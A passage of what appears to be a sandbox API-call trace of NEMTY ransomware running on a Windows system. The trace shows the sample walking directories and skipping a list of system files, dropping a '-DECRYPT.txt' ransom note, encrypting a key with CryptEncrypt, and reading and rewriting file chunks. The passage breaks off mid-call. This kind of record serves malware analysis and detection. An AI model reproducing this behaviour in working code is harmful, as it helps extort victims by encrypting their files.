lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SecretST.TTF", lpUsedDefaultChar=0x0) returned 12 [0052.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SecretST.TTF", lpUsedDefaultChar=0x0) returned 12 [0052.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SecretST.TTF", lpUsedDefaultChar=0x0) returned 12 [0052.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.542] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2=".") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="..") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="...") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="windows") returned -1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="$RECYCLE.BIN") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="rsa") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="NTDETECT.COM") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="ntldr") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="MSDOS.SYS") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="IO.SYS") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="boot.ini") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="boot.ini") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="AUTOEXEC.BAT") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="ntuser.dat") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="desktop.ini") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="CONFIG.SYS") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="RECYCLER") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="BOOTSECT.BAK") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="bootmgr") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="programdata") returned 1 [0052.542] lstrcmpiW (lpString1="Shared", lpString2="appdata") returned 1 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared", cchWideChar=6, lpMultiByteStr=0x653f590, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shared", lpUsedDefaultChar=0x0) returned 6 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0052.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared", cchWideChar=6, lpMultiByteStr=0x653f590, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shared", lpUsedDefaultChar=0x0) returned 6 [0052.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0052.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0052.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0052.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x4f94088 [0052.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0052.543] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0052.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.545] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.545] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0052.545] CloseHandle (hObject=0x3c4) returned 1 [0052.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0052.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0052.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x4f94100 [0052.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.546] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0052.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0052.547] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.547] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0052.548] CloseHandle (hObject=0x3c4) returned 1 [0052.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd2f65bb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2f65bb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0052.548] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0052.548] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd2f65bb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd2f65bb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0052.548] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0052.548] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0052.548] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2=".") returned 1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="..") returned 1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="...") returned 1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="windows") returned -1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="$RECYCLE.BIN") returned 1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="rsa") returned -1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="NTDETECT.COM") returned -1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="ntldr") returned -1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="MSDOS.SYS") returned -1 [0052.548] lstrcmpiW (lpString1="Common.fxh", lpString2="IO.SYS") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="boot.ini") returned 1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="boot.ini") returned 1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="AUTOEXEC.BAT") returned 1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="ntuser.dat") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="desktop.ini") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="CONFIG.SYS") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="RECYCLER") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="BOOTSECT.BAK") returned 1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="bootmgr") returned 1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="programdata") returned -1 [0052.549] lstrcmpiW (lpString1="Common.fxh", lpString2="appdata") returned 1 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common.fxh", lpUsedDefaultChar=0x0) returned 10 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common.fxh", lpUsedDefaultChar=0x0) returned 10 [0052.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common.fxh", lpUsedDefaultChar=0x0) returned 10 [0052.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0052.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Common.fxh", lpUsedDefaultChar=0x0) returned 10 [0052.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0052.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0052.549] Sleep (dwMilliseconds=0x5) [0052.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd2f8bd10, dwHighDateTime=0x1d561e7)) [0052.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd2f8bd10, dwHighDateTime=0x1d561e7)) [0052.554] GetLastError () returned 0xb7 [0052.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.554] GetLastError () returned 0xb7 [0052.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0052.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0052.555] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94158 [0052.555] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94158, pcchString=0x653ef9c | out: pszString="a2N5IyCw+RBcPcvDSKkrs6Doi80qpGixi7ke/2nnyVOZxQd7JIChpYWuxaMztQhl\r\n8C6nyHlsYTx6jnajsbQ3fHlQ5YaNtPb1XhxhT6Nj1NBwNisgK74mIp6UXVRdVo1/\r\nbomE/2kG2WeLDv1vuPri5hmgJ3C1l+sdlhO6nx9Go8cK/9ONqZuAysHnYBNrypnu\r\n13bIEmDA8TIwaplbWBElRbDJAQKLBD+AuUkKe4VGGznQHSS8SdX2MjLrDXy6vaXG\r\nSX89MKAuOvCxylHONoa/kdfvkV8WWK98iluOS9lKs/v+ddpTgx3qQZaHRhfiJC5+\r\neunZJxhYHSVgjqMhbg1jxA==\r\n", pcchString=0x653ef9c) returned 1 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0052.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94158 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0052.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.555] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0052.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.602] ReadFile 